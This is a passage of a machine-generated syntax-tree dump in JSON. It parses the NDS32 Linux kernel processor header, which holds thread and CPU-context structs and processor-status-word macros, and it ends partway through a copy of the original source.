0}, "end_point": {"row": 59, "column": 6}}, {"id": 154, "type": "#ifdef", "text": "#ifdef", "parent": 153, "children": [], "start_point": {"row": 55, "column": 0}, "end_point": {"row": 55, "column": 6}}, {"id": 155, "type": "identifier", "text": "CONFIG_HWZOL", "parent": 153, "children": [], "start_point": {"row": 55, "column": 7}, "end_point": {"row": 55, "column": 19}}, {"id": 156, "type": "preproc_def", "text": "#define\tPSW_valINIT (PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n", "parent": 153, "children": [157, 158, 159], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 57, "column": 0}}, {"id": 157, "type": "#define", "text": "#define", "parent": 156, "children": [], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 7}}, {"id": 158, "type": "identifier", "text": "PSW_valINIT", "parent": 156, "children": [], "start_point": {"row": 56, "column": 8}, "end_point": {"row": 56, "column": 19}}, {"id": 159, "type": "preproc_arg", "text": "(PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)", "parent": 156, "children": [], "start_point": {"row": 56, "column": 20}, "end_point": {"row": 56, "column": 106}}, {"id": 160, "type": "preproc_else", "text": "#else\n#define\tPSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n", "parent": 153, "children": [161, 162], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 59, "column": 0}}, {"id": 161, "type": "#else", "text": "#else", "parent": 160, "children": [], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 57, "column": 5}}, {"id": 162, "type": "preproc_def", "text": "#define\tPSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n", "parent": 160, "children": [163, 164, 165], "start_point": {"row": 58, "column": 0}, "end_point": {"row": 59, "column": 0}}, {"id": 163, "type": "#define", "text": "#define", "parent": 162, "children": [], "start_point": {"row": 58, "column": 0}, "end_point": {"row": 58, "column": 7}}, {"id": 164, "type": "identifier", "text": "PSW_valINIT", "parent": 162, "children": [], "start_point": {"row": 58, "column": 8}, "end_point": {"row": 58, "column": 19}}, {"id": 165, "type": "preproc_arg", "text": "(PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)", "parent": 162, "children": [], "start_point": {"row": 58, "column": 20}, "end_point": {"row": 58, "column": 93}}, {"id": 166, "type": "#endif", "text": "#endif", "parent": 153, "children": [], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 59, "column": 6}}, {"id": 167, "type": "preproc_function_def", "text": "#define start_thread(regs,pc,stack)\t\t\t\\\n({\t\t\t\t\t\t\t\\\n\tmemzero(regs, sizeof(struct pt_regs));\t\t\\\n\tforget_syscall(regs);\t\t\t\t\\\n\tregs->ipsw = PSW_valINIT;\t\t\t\\\n\tregs->ir0 = (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_SYSTEM | PSW_INTL_1);\t\\\n\tregs->ipc = pc;\t\t\t\t\t\\\n\tregs->sp = stack;\t\t\t\t\\\n})\n", "parent": 6, "children": [168, 169, 170, 174], "start_point": {"row": 61, "column": 0}, "end_point": {"row": 70, "column": 0}}, {"id": 168, "type": "#define", "text": "#define", "parent": 167, "children": [], "start_point": {"row": 61, "column": 0}, "end_point": {"row": 61, "column": 7}}, {"id": 169, "type": "identifier", "text": "start_thread", "parent": 167, "children": [], "start_point": {"row": 61, "column": 8}, "end_point": {"row": 61, "column": 20}}, {"id": 170, "type": "preproc_params", "text": "(regs,pc,stack)", "parent": 167, "children": [171, 172, 173], "start_point": {"row": 61, "column": 20}, "end_point": {"row": 61, "column": 35}}, {"id": 171, "type": "identifier", "text": "regs", "parent": 170, "children": [], "start_point": {"row": 61, "column": 21}, "end_point": {"row": 61, "column": 25}}, {"id": 172, "type": "identifier", "text": "pc", "parent": 170, "children": [], "start_point": {"row": 61, "column": 26}, "end_point": {"row": 61, "column": 28}}, {"id": 173, "type": "identifier", "text": "stack", "parent": 170, "children": [], "start_point": {"row": 61, "column": 29}, "end_point": {"row": 61, "column": 34}}, {"id": 174, "type": "preproc_arg", "text": "({\t\t\t\t\t\t\t\\\n\tmemzero(regs, sizeof(struct pt_regs));\t\t\\\n\tforget_syscall(regs);\t\t\t\t\\\n\tregs->ipsw = PSW_valINIT;\t\t\t\\\n\tregs->ir0 = (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_SYSTEM | PSW_INTL_1);\t\\\n\tregs->ipc = pc;\t\t\t\t\t\\\n\tregs->sp = stack;\t\t\t\t\\\n})", "parent": 167, "children": [], "start_point": {"row": 62, "column": 0}, "end_point": {"row": 69, "column": 2}}, {"id": 175, "type": "struct_specifier", "text": "struct task_struct", "parent": 6, "children": [176, 177], "start_point": {"row": 72, "column": 0}, "end_point": {"row": 72, "column": 18}}, {"id": 176, "type": "struct", "text": "struct", "parent": 175, "children": [], "start_point": {"row": 72, "column": 0}, "end_point": {"row": 72, "column": 6}}, {"id": 177, "type": "type_identifier", "text": "task_struct", "parent": 175, "children": [], "start_point": {"row": 72, "column": 7}, "end_point": {"row": 72, "column": 18}}, {"id": 178, "type": "preproc_function_def", "text": "#define release_thread(thread) do { } while(0)\n", "parent": 6, "children": [179, 180, 181, 183], "start_point": {"row": 75, "column": 0}, "end_point": {"row": 76, "column": 0}}, {"id": 179, "type": "#define", "text": "#define", "parent": 178, "children": [], "start_point": {"row": 75, "column": 0}, "end_point": {"row": 75, "column": 7}}, {"id": 180, "type": "identifier", "text": "release_thread", "parent": 178, "children": [], "start_point": {"row": 75, "column": 8}, "end_point": {"row": 75, "column": 22}}, {"id": 181, "type": "preproc_params", "text": "(thread)", "parent": 178, "children": [182], "start_point": {"row": 75, "column": 22}, "end_point": {"row": 75, "column": 30}}, {"id": 182, "type": "identifier", "text": "thread", "parent": 181, "children": [], "start_point": {"row": 75, "column": 23}, "end_point": {"row": 75, "column": 29}}, {"id": 183, "type": "preproc_arg", "text": "do { } while(0)", "parent": 178, "children": [], "start_point": {"row": 75, "column": 31}, "end_point": {"row": 75, "column": 46}}, {"id": 184, "type": "preproc_if", "text": "#if IS_ENABLED(CONFIG_FPU)\n#if !IS_ENABLED(CONFIG_UNLAZU_FPU)\nextern struct task_struct *last_task_used_math;\n#endif\n#endif", "parent": 6, "children": [185, 186, 190, 191, 210], "start_point": {"row": 76, "column": 0}, "end_point": {"row": 80, "column": 6}}, {"id": 185, "type": "#if", "text": "#if", "parent": 184, "children": [], "start_point": {"row": 76, "column": 0}, "end_point": {"row": 76, "column": 3}}, {"id": 186, "type": "call_expression", "text": "IS_ENABLED(CONFIG_FPU)", "parent": 184, "children": [187, 188], "start_point": {"row": 76, "column": 4}, "end_point": {"row": 76, "column": 26}}, {"id": 187, "type": "identifier", "text": "IS_ENABLED", "parent": 186, "children": [], "start_point": {"row": 76, "column": 4}, "end_point": {"row": 76, "column": 14}}, {"id": 188, "type": "argument_list", "text": "(CONFIG_FPU)", "parent": 186, "children": [189], "start_point": {"row": 76, "column": 14}, "end_point": {"row": 76, "column": 26}}, {"id": 189, "type": "identifier", "text": "CONFIG_FPU", "parent": 188, "children": [], "start_point": {"row": 76, "column": 15}, "end_point": {"row": 76, "column": 25}}, {"id": 190, "type": "\n", "text": "\n", "parent": 184, "children": [], "start_point": {"row": 76, "column": 26}, "end_point": {"row": 77, "column": 0}}, {"id": 191, "type": "preproc_if", "text": "#if !IS_ENABLED(CONFIG_UNLAZU_FPU)\nextern struct task_struct *last_task_used_math;\n#endif", "parent": 184, "children": [192, 193, 199, 200, 209], "start_point": {"row": 77, "column": 0}, "end_point": {"row": 79, "column": 6}}, {"id": 192, "type": "#if", "text": "#if", "parent": 191, "children": [], "start_point": {"row": 77, "column": 0}, "end_point": {"row": 77, "column": 3}}, {"id": 193, "type": "unary_expression", "text": "!IS_ENABLED(CONFIG_UNLAZU_FPU)", "parent": 191, "children": [194, 195], "start_point": {"row": 77, "column": 4}, "end_point": {"row": 77, "column": 34}}, {"id": 194, "type": "!", "text": "!", "parent": 193, "children": [], "start_point": {"row": 77, "column": 4}, "end_point": {"row": 77, "column": 5}}, {"id": 195, "type": "call_expression", "text": "IS_ENABLED(CONFIG_UNLAZU_FPU)", "parent": 193, "children": [196, 197], "start_point": {"row": 77, "column": 5}, "end_point": {"row": 77, "column": 34}}, {"id": 196, "type": "identifier", "text": "IS_ENABLED", "parent": 195, "children": [], "start_point": {"row": 77, "column": 5}, "end_point": {"row": 77, "column": 15}}, {"id": 197, "type": "argument_list", "text": "(CONFIG_UNLAZU_FPU)", "parent": 195, "children": [198], "start_point": {"row": 77, "column": 15}, "end_point": {"row": 77, "column": 34}}, {"id": 198, "type": "identifier", "text": "CONFIG_UNLAZU_FPU", "parent": 197, "children": [], "start_point": {"row": 77, "column": 16}, "end_point": {"row": 77, "column": 33}}, {"id": 199, "type": "\n", "text": "\n", "parent": 191, "children": [], "start_point": {"row": 77, "column": 34}, "end_point": {"row": 78, "column": 0}}, {"id": 200, "type": "declaration", "text": "extern struct task_struct *last_task_used_math;", "parent": 191, "children": [201, 203, 206], "start_point": {"row": 78, "column": 0}, "end_point": {"row": 78, "column": 47}}, {"id": 201, "type": "storage_class_specifier", "text": "extern", "parent": 200, "children": [202], "start_point": {"row": 78, "column": 0}, "end_point": {"row": 78, "column": 6}}, {"id": 202, "type": "extern", "text": "extern", "parent": 201, "children": [], "start_point": {"row": 78, "column": 0}, "end_point": {"row": 78, "column": 6}}, {"id": 203, "type": "struct_specifier", "text": "struct task_struct", "parent": 200, "children": [204, 205], "start_point": {"row": 78, "column": 7}, "end_point": {"row": 78, "column": 25}}, {"id": 204, "type": "struct", "text": "struct", "parent": 203, "children": [], "start_point": {"row": 78, "column": 7}, "end_point": {"row": 78, "column": 13}}, {"id": 205, "type": "type_identifier", "text": "task_struct", "parent": 203, "children": [], "start_point": {"row": 78, "column": 14}, "end_point": {"row": 78, "column": 25}}, {"id": 206, "type": "pointer_declarator", "text": "*last_task_used_math", "parent": 200, "children": [207, 208], "start_point": {"row": 78, "column": 26}, "end_point": {"row": 78, "column": 46}}, {"id": 207, "type": "*", "text": "*", "parent": 206, "children": [], "start_point": {"row": 78, "column": 26}, "end_point": {"row": 78, "column": 27}}, {"id": 208, "type": "identifier", "text": "last_task_used_math", "parent": 206, "children": [], "start_point": {"row": 78, "column": 27}, "end_point": {"row": 78, "column": 46}}, {"id": 209, "type": "#endif", "text": "#endif", "parent": 191, "children": [], "start_point": {"row": 79, "column": 0}, "end_point": {"row": 79, "column": 6}}, {"id": 210, "type": "#endif", "text": "#endif", "parent": 184, "children": [], "start_point": {"row": 80, "column": 0}, "end_point": {"row": 80, "column": 6}}, {"id": 211, "type": "preproc_function_def", "text": "#define prepare_to_copy(tsk)\tdo { } while (0)\n", "parent": 6, "children": [212, 213, 214, 216], "start_point": {"row": 83, "column": 0}, "end_point": {"row": 84, "column": 0}}, {"id": 212, "type": "#define", "text": "#define", "parent": 211, "children": [], "start_point": {"row": 83, "column": 0}, "end_point": {"row": 83, "column": 7}}, {"id": 213, "type": "identifier", "text": "prepare_to_copy", "parent": 211, "children": [], "start_point": {"row": 83, "column": 8}, "end_point": {"row": 83, "column": 23}}, {"id": 214, "type": "preproc_params", "text": "(tsk)", "parent": 211, "children": [215], "start_point": {"row": 83, "column": 23}, "end_point": {"row": 83, "column": 28}}, {"id": 215, "type": "identifier", "text": "tsk", "parent": 214, "children": [], "start_point": {"row": 83, "column": 24}, "end_point": {"row": 83, "column": 27}}, {"id": 216, "type": "preproc_arg", "text": "do { } while (0)", "parent": 211, "children": [], "start_point": {"row": 83, "column": 29}, "end_point": {"row": 83, "column": 45}}, {"id": 217, "type": "declaration", "text": "unsigned long get_wchan(struct task_struct *p);", "parent": 6, "children": [218, 221], "start_point": {"row": 85, "column": 0}, "end_point": {"row": 85, "column": 47}}, {"id": 218, "type": "sized_type_specifier", "text": "unsigned long", "parent": 217, "children": [219, 220], "start_point": {"row": 85, "column": 0}, "end_point": {"row": 85, "column": 13}}, {"id": 219, "type": "unsigned", "text": "unsigned", "parent": 218, "children": [], "start_point": {"row": 85, "column": 0}, "end_point": {"row": 85, "column": 8}}, {"id": 220, "type": "long", "text": "long", "parent": 218, "children": [], "start_point": {"row": 85, "column": 9}, "end_point": {"row": 85, "column": 13}}, {"id": 221, "type": "function_declarator", "text": "get_wchan(struct task_struct *p)", "parent": 217, "children": [222, 223], "start_point": {"row": 85, "column": 14}, "end_point": {"row": 85, "column": 46}}, {"id": 222, "type": "identifier", "text": "get_wchan", "parent": 221, "children": [], "start_point": {"row": 85, "column": 14}, "end_point": {"row": 85, "column": 23}}, {"id": 223, "type": "parameter_list", "text": "(struct task_struct *p)", "parent": 221, "children": [224], "start_point": {"row": 85, "column": 23}, "end_point": {"row": 85, "column": 46}}, {"id": 224, "type": "parameter_declaration", "text": "struct task_struct *p", "parent": 223, "children": [225, 228], "start_point": {"row": 85, "column": 24}, "end_point": {"row": 85, "column": 45}}, {"id": 225, "type": "struct_specifier", "text": "struct task_struct", "parent": 224, "children": [226, 227], "start_point": {"row": 85, "column": 24}, "end_point": {"row": 85, "column": 42}}, {"id": 226, "type": "struct", "text": "struct", "parent": 225, "children": [], "start_point": {"row": 85, "column": 24}, "end_point": {"row": 85, "column": 30}}, {"id": 227, "type": "type_identifier", "text": "task_struct", "parent": 225, "children": [], "start_point": {"row": 85, "column": 31}, "end_point": {"row": 85, "column": 42}}, {"id": 228, "type": "pointer_declarator", "text": "*p", "parent": 224, "children": [229, 230], "start_point": {"row": 85, "column": 43}, "end_point": {"row": 85, "column": 45}}, {"id": 229, "type": "*", "text": "*", "parent": 228, "children": [], "start_point": {"row": 85, "column": 43}, "end_point": {"row": 85, "column": 44}}, {"id": 230, "type": "identifier", "text": "p", "parent": 228, "children": [], "start_point": {"row": 85, "column": 44}, "end_point": {"row": 85, "column": 45}}, {"id": 231, "type": "preproc_function_def", "text": "#define cpu_relax()\t\t\tbarrier()\n", "parent": 6, "children": [232, 233, 234, 235], "start_point": {"row": 87, "column": 0}, "end_point": {"row": 88, "column": 0}}, {"id": 232, "type": "#define", "text": "#define", "parent": 231, "children": [], "start_point": {"row": 87, "column": 0}, "end_point": {"row": 87, "column": 7}}, {"id": 233, "type": "identifier", "text": "cpu_relax", "parent": 231, "children": [], "start_point": {"row": 87, "column": 8}, "end_point": {"row": 87, "column": 17}}, {"id": 234, "type": "preproc_params", "text": "()", "parent": 231, "children": [], "start_point": {"row": 87, "column": 17}, "end_point": {"row": 87, "column": 19}}, {"id": 235, "type": "preproc_arg", "text": "barrier()", "parent": 231, "children": [], "start_point": {"row": 87, "column": 22}, "end_point": {"row": 87, "column": 31}}, {"id": 236, "type": "preproc_function_def", "text": "#define task_pt_regs(task) \\\n\t((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \\\n\t\t- 8) - 1)\n", "parent": 6, "children": [237, 238, 239, 241], "start_point": {"row": 89, "column": 0}, "end_point": {"row": 92, "column": 0}}, {"id": 237, "type": "#define", "text": "#define", "parent": 236, "children": [], "start_point": {"row": 89, "column": 0}, "end_point": {"row": 89, "column": 7}}, {"id": 238, "type": "identifier", "text": "task_pt_regs", "parent": 236, "children": [], "start_point": {"row": 89, "column": 8}, "end_point": {"row": 89, "column": 20}}, {"id": 239, "type": "preproc_params", "text": "(task)", "parent": 236, "children": [240], "start_point": {"row": 89, "column": 20}, "end_point": {"row": 89, "column": 26}}, {"id": 240, "type": "identifier", "text": "task", "parent": 239, "children": [], "start_point": {"row": 89, "column": 21}, "end_point": {"row": 89, "column": 25}}, {"id": 241, "type": "preproc_arg", "text": "((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \\\n\t\t- 8) - 1)", "parent": 236, "children": [], "start_point": {"row": 90, "column": 1}, "end_point": {"row": 91, "column": 11}}, {"id": 242, "type": "declaration", "text": "extern int kernel_thread(int (*fn) (void *), void *arg, unsigned long flags);", "parent": 6, "children": [243, 245, 246], "start_point": {"row": 96, "column": 0}, "end_point": {"row": 96, "column": 77}}, {"id": 243, "type": "storage_class_specifier", "text": "extern", "parent": 242, "children": [244], "start_point": {"row": 96, "column": 0}, "end_point": {"row": 96, "column": 6}}, {"id": 244, "type": "extern", "text": "extern", "parent": 243, "children": [], "start_point": {"row": 96, "column": 0}, "end_point": {"row": 96, "column": 6}}, {"id": 245, "type": "primitive_type", "text": "int", "parent": 242, "children": [], "start_point": {"row": 96, "column": 7}, "end_point": {"row": 96, "column": 10}}, {"id": 246, "type": "function_declarator", "text": "kernel_thread(int (*fn) (void *), void *arg, unsigned long flags)", "parent": 242, "children": [247, 248], "start_point": {"row": 96, "column": 11}, "end_point": {"row": 96, "column": 76}}, {"id": 247, "type": "identifier", "text": "kernel_thread", "parent": 246, "children": [], "start_point": {"row": 96, "column": 11}, "end_point": {"row": 96, "column": 24}}, {"id": 248, "type": "parameter_list", "text": "(int (*fn) (void *), void *arg, unsigned long flags)", "parent": 246, "children": [249, 261, 266], "start_point": {"row": 96, "column": 24}, "end_point": {"row": 96, "column": 76}}, {"id": 249, "type": "parameter_declaration", "text": "int (*fn) (void *)", "parent": 248, "children": [250, 251], "start_point": {"row": 96, "column": 25}, "end_point": {"row": 96, "column": 43}}, {"id": 250, "type": "primitive_type", "text": "int", "parent": 249, "children": [], "start_point": {"row": 96, "column": 25}, "end_point": {"row": 96, "column": 28}}, {"id": 251, "type": "function_declarator", "text": "(*fn) (void *)", "parent": 249, "children": [252, 256], "start_point": {"row": 96, "column": 29}, "end_point": {"row": 96, "column": 43}}, {"id": 252, "type": "parenthesized_declarator", "text": "(*fn)", "parent": 251, "children": [253], "start_point": {"row": 96, "column": 29}, "end_point": {"row": 96, "column": 34}}, {"id": 253, "type": "pointer_declarator", "text": "*fn", "parent": 252, "children": [254, 255], "start_point": {"row": 96, "column": 30}, "end_point": {"row": 96, "column": 33}}, {"id": 254, "type": "*", "text": "*", "parent": 253, "children": [], "start_point": {"row": 96, "column": 30}, "end_point": {"row": 96, "column": 31}}, {"id": 255, "type": "identifier", "text": "fn", "parent": 253, "children": [], "start_point": {"row": 96, "column": 31}, "end_point": {"row": 96, "column": 33}}, {"id": 256, "type": "parameter_list", "text": "(void *)", "parent": 251, "children": [257], "start_point": {"row": 96, "column": 35}, "end_point": {"row": 96, "column": 43}}, {"id": 257, "type": "parameter_declaration", "text": "void *", "parent": 256, "children": [258, 259], "start_point": {"row": 96, "column": 36}, "end_point": {"row": 96, "column": 42}}, {"id": 258, "type": "primitive_type", "text": "void", "parent": 257, "children": [], "start_point": {"row": 96, "column": 36}, "end_point": {"row": 96, "column": 40}}, {"id": 259, "type": "abstract_pointer_declarator", "text": "*", "parent": 257, "children": [260], "start_point": {"row": 96, "column": 41}, "end_point": {"row": 96, "column": 42}}, {"id": 260, "type": "*", "text": "*", "parent": 259, "children": [], "start_point": {"row": 96, "column": 41}, "end_point": {"row": 96, "column": 42}}, {"id": 261, "type": "parameter_declaration", "text": "void *arg", "parent": 248, "children": [262, 263], "start_point": {"row": 96, "column": 45}, "end_point": {"row": 96, "column": 54}}, {"id": 262, "type": "primitive_type", "text": "void", "parent": 261, "children": [], "start_point": {"row": 96, "column": 45}, "end_point": {"row": 96, "column": 49}}, {"id": 263, "type": "pointer_declarator", "text": "*arg", "parent": 261, "children": [264, 265], "start_point": {"row": 96, "column": 50}, "end_point": {"row": 96, "column": 54}}, {"id": 264, "type": "*", "text": "*", "parent": 263, "children": [], "start_point": {"row": 96, "column": 50}, "end_point": {"row": 96, "column": 51}}, {"id": 265, "type": "identifier", "text": "arg", "parent": 263, "children": [], "start_point": {"row": 96, "column": 51}, "end_point": {"row": 96, "column": 54}}, {"id": 266, "type": "parameter_declaration", "text": "unsigned long flags", "parent": 248, "children": [267, 270], "start_point": {"row": 96, "column": 56}, "end_point": {"row": 96, "column": 75}}, {"id": 267, "type": "sized_type_specifier", "text": "unsigned long", "parent": 266, "children": [268, 269], "start_point": {"row": 96, "column": 56}, "end_point": {"row": 96, "column": 69}}, {"id": 268, "type": "unsigned", "text": "unsigned", "parent": 267, "children": [], "start_point": {"row": 96, "column": 56}, "end_point": {"row": 96, "column": 64}}, {"id": 269, "type": "long", "text": "long", "parent": 267, "children": [], "start_point": {"row": 96, "column": 65}, "end_point": {"row": 96, "column": 69}}, {"id": 270, "type": "identifier", "text": "flags", "parent": 266, "children": [], "start_point": {"row": 96, "column": 70}, "end_point": {"row": 96, "column": 75}}, {"id": 271, "type": "preproc_function_def", "text": "#define KSTK_EIP(tsk)\tinstruction_pointer(task_pt_regs(tsk))\n", "parent": 6, "children": [272, 273, 274, 276], "start_point": {"row": 98, "column": 0}, "end_point": {"row": 99, "column": 0}}, {"id": 272, "type": "#define", "text": "#define", "parent": 271, "children": [], "start_point": {"row": 98, "column": 0}, "end_point": {"row": 98, "column": 7}}, {"id": 273, "type": "identifier", "text": "KSTK_EIP", "parent": 271, "children": [], "start_point": {"row": 98, "column": 8}, "end_point": {"row": 98, "column": 16}}, {"id": 274, "type": "preproc_params", "text": "(tsk)", "parent": 271, "children": [275], "start_point": {"row": 98, "column": 16}, "end_point": {"row": 98, "column": 21}}, {"id": 275, "type": "identifier", "text": "tsk", "parent": 274, "children": [], "start_point": {"row": 98, "column": 17}, "end_point": {"row": 98, "column": 20}}, {"id": 276, "type": "preproc_arg", "text": "instruction_pointer(task_pt_regs(tsk))", "parent": 271, "children": [], "start_point": {"row": 98, "column": 22}, "end_point": {"row": 98, "column": 60}}, {"id": 277, "type": "preproc_function_def", "text": "#define KSTK_ESP(tsk)\tuser_stack_pointer(task_pt_regs(tsk))\n", "parent": 6, "children": [278, 279, 280, 282], "start_point": {"row": 99, "column": 0}, "end_point": {"row": 100, "column": 0}}, {"id": 278, "type": "#define", "text": "#define", "parent": 277, "children": [], "start_point": {"row": 99, "column": 0}, "end_point": {"row": 99, "column": 7}}, {"id": 279, "type": "identifier", "text": "KSTK_ESP", "parent": 277, "children": [], "start_point": {"row": 99, "column": 8}, "end_point": {"row": 99, "column": 16}}, {"id": 280, "type": "preproc_params", "text": "(tsk)", "parent": 277, "children": [281], "start_point": {"row": 99, "column": 16}, "end_point": {"row": 99, "column": 21}}, {"id": 281, "type": "identifier", "text": "tsk", "parent": 280, "children": [], "start_point": {"row": 99, "column": 17}, "end_point": {"row": 99, "column": 20}}, {"id": 282, "type": "preproc_arg", "text": "user_stack_pointer(task_pt_regs(tsk))", "parent": 277, "children": [], "start_point": {"row": 99, "column": 22}, "end_point": {"row": 99, "column": 59}}, {"id": 283, "type": "#endif", "text": "#endif", "parent": 6, "children": [], "start_point": {"row": 101, "column": 0}, "end_point": {"row": 101, "column": 6}}, {"id": 284, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 103, "column": 0}, "end_point": {"row": 103, "column": 6}}]}, "node_categories": {"declarations": {"functions": [167, 178, 211, 221, 231, 236, 246, 251, 271, 277], "variables": [33, 38, 43, 48, 53, 58, 63, 68, 73, 78, 83, 88, 96, 101, 106, 111, 116, 200, 217, 224, 242, 249, 257, 261, 266], "classes": [30, 31, 93, 94, 97, 98, 117, 118, 175, 176, 201, 203, 204, 225, 226, 243], "imports": [9, 10, 12, 13, 15, 16], "modules": [], "enums": []}, "statements": {"expressions": [186, 193, 195], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 6, 7, 8, 20, 24, 28, 32, 34, 37, 39, 42, 44, 47, 49, 52, 54, 57, 59, 62, 64, 67, 69, 72, 74, 77, 79, 82, 84, 87, 89, 92, 95, 99, 100, 102, 105, 107, 110, 112, 115, 119, 120, 123, 125, 126, 127, 130, 136, 138, 139, 140, 141, 144, 150, 152, 153, 154, 155, 158, 164, 166, 169, 171, 172, 173, 177, 180, 182, 184, 185, 187, 189, 191, 192, 196, 198, 205, 208, 209, 210, 213, 215, 218, 222, 227, 230, 233, 238, 240, 247, 255, 265, 267, 270, 273, 275, 279, 281, 283, 284], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [11, 14, 17], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 167, "universal_type": "function", "name": "unknown", "text_snippet": "#define start_thread(regs,pc,stack)\t\t\t\\\n({\t\t\t\t\t\t\t\\\n\tmemzero(regs, sizeof(struct pt_regs));\t\t\\\n\tforge"}, {"node_id": 178, "universal_type": "function", "name": "unknown", "text_snippet": "#define release_thread(thread) do { } while(0)\n"}, {"node_id": 211, "universal_type": "function", "name": "unknown", "text_snippet": "#define prepare_to_copy(tsk)\tdo { } while (0)\n"}, {"node_id": 221, "universal_type": "function", "name": "unknown", "text_snippet": "get_wchan(struct task_struct *p)"}, {"node_id": 231, "universal_type": "function", "name": "unknown", "text_snippet": "#define cpu_relax()\t\t\tbarrier()\n"}, {"node_id": 236, "universal_type": "function", "name": "unknown", "text_snippet": "#define task_pt_regs(task) \\\n\t((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \\\n\t\t- 8) - 1)"}, {"node_id": 246, "universal_type": "function", "name": "*arg,", "text_snippet": "kernel_thread(int (*fn) (void *), void *arg, unsigned long flags)"}, {"node_id": 251, "universal_type": "function", "name": "unknown", "text_snippet": "(*fn) (void *)"}, {"node_id": 271, "universal_type": "function", "name": "unknown", "text_snippet": "#define KSTK_EIP(tsk)\tinstruction_pointer(task_pt_regs(tsk))\n"}, {"node_id": 277, "universal_type": "function", "name": "unknown", "text_snippet": "#define KSTK_ESP(tsk)\tuser_stack_pointer(task_pt_regs(tsk))\n"}], "class_declarations": [{"node_id": 30, "universal_type": "class", "name": "cpu_context", "text_snippet": "struct cpu_context {\n\tunsigned long r6;\n\tunsigned long r7;\n\tunsigned long r8;\n\tunsigned long r9;\n\tun"}, {"node_id": 31, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 93, "universal_type": "class", "name": "thread_struct", "text_snippet": "struct thread_struct {\n\tstruct cpu_context cpu_context;\t/* cpu context */\n\t/* fault info */\n\tuns"}, {"node_id": 94, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 97, "universal_type": "class", "name": "cpu_context", "text_snippet": "struct cpu_context"}, {"node_id": 98, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 117, "universal_type": "class", "name": "fpu_struct", "text_snippet": "struct fpu_struct"}, {"node_id": 118, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 175, "universal_type": "class", "name": "task_struct", "text_snippet": "struct task_struct"}, {"node_id": 176, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 201, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}, {"node_id": 203, "universal_type": "class", "name": "task_struct", "text_snippet": "struct task_struct"}, {"node_id": 204, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 225, "universal_type": "class", "name": "task_struct", "text_snippet": "struct task_struct"}, {"node_id": 226, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 243, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}], "import_statements": [{"node_id": 9, "text": "#include <asm/ptrace.h>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <asm/types.h>\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include <asm/sigcontext.h>\n"}, {"node_id": 16, "text": "#include"}]}, "original_source_code": "// SPDX-License-Identifier: GPL-2.0\n// Copyright (C) 2005-2017 Andes Technology Corporation\n\n#ifndef __ASM_NDS32_PROCESSOR_H\n#define __ASM_NDS32_PROCESSOR_H\n\n#ifdef __KERNEL__\n\n#include <asm/ptrace.h>\n#include <asm/types.h>\n#include <asm/sigcontext.h>\n\n#define KERNEL_STACK_SIZE\tPAGE_SIZE\n#define STACK_TOP\tTASK_SIZE\n#define STACK_TOP_MAX TASK_SIZE\n\nstruct cpu_context {\n\tunsigned long r6;\n\tunsigned long r7;\n\tunsigned long r8;\n\tunsigned long r9;\n\tunsigned long r10;\n\tunsigned long r11;\n\tunsigned long r12;\n\tunsigned long r13;\n\tunsigned long r14;\n\tunsigned long fp;\n\tunsigned long pc;\n\tunsigned long sp;\n};\n\nstruct thread_struct {\n\tstruct cpu_context cpu_context;\t/* cpu context */\n\t/* fault info */\n\tunsigned long address;\n\tunsigned long trap_no;\n\tunsigned long error_code;\n\n\tstruct fpu_struct fpu;\n};\n\n#define INIT_THREAD {\t}\n\n#ifdef __NDS32_EB__\n#define PSW_DE\tPSW_mskBE\n#else\n#define PSW_DE\t0x0\n#endif\n\n#ifdef CONFIG_WBNA\n#define PSW_valWBNA\tPSW_mskWBNA\n#else\n#define PSW_valWBNA\t0x0\n#endif\n\n#ifdef CONFIG_HWZOL\n#define\tPSW_valINIT (PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#else\n#define\tPSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#endif\n\n#define start_thread(regs,pc,stack)\t\t\t\\\n({\t\t\t\t\t\t\t\\\n\tmemzero(regs, sizeof(struct pt_regs));\t\t\\\n\tforget_syscall(regs);\t\t\t\t\\\n\tregs->ipsw = PSW_valINIT;\t\t\t\\\n\tregs->ir0 = (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | 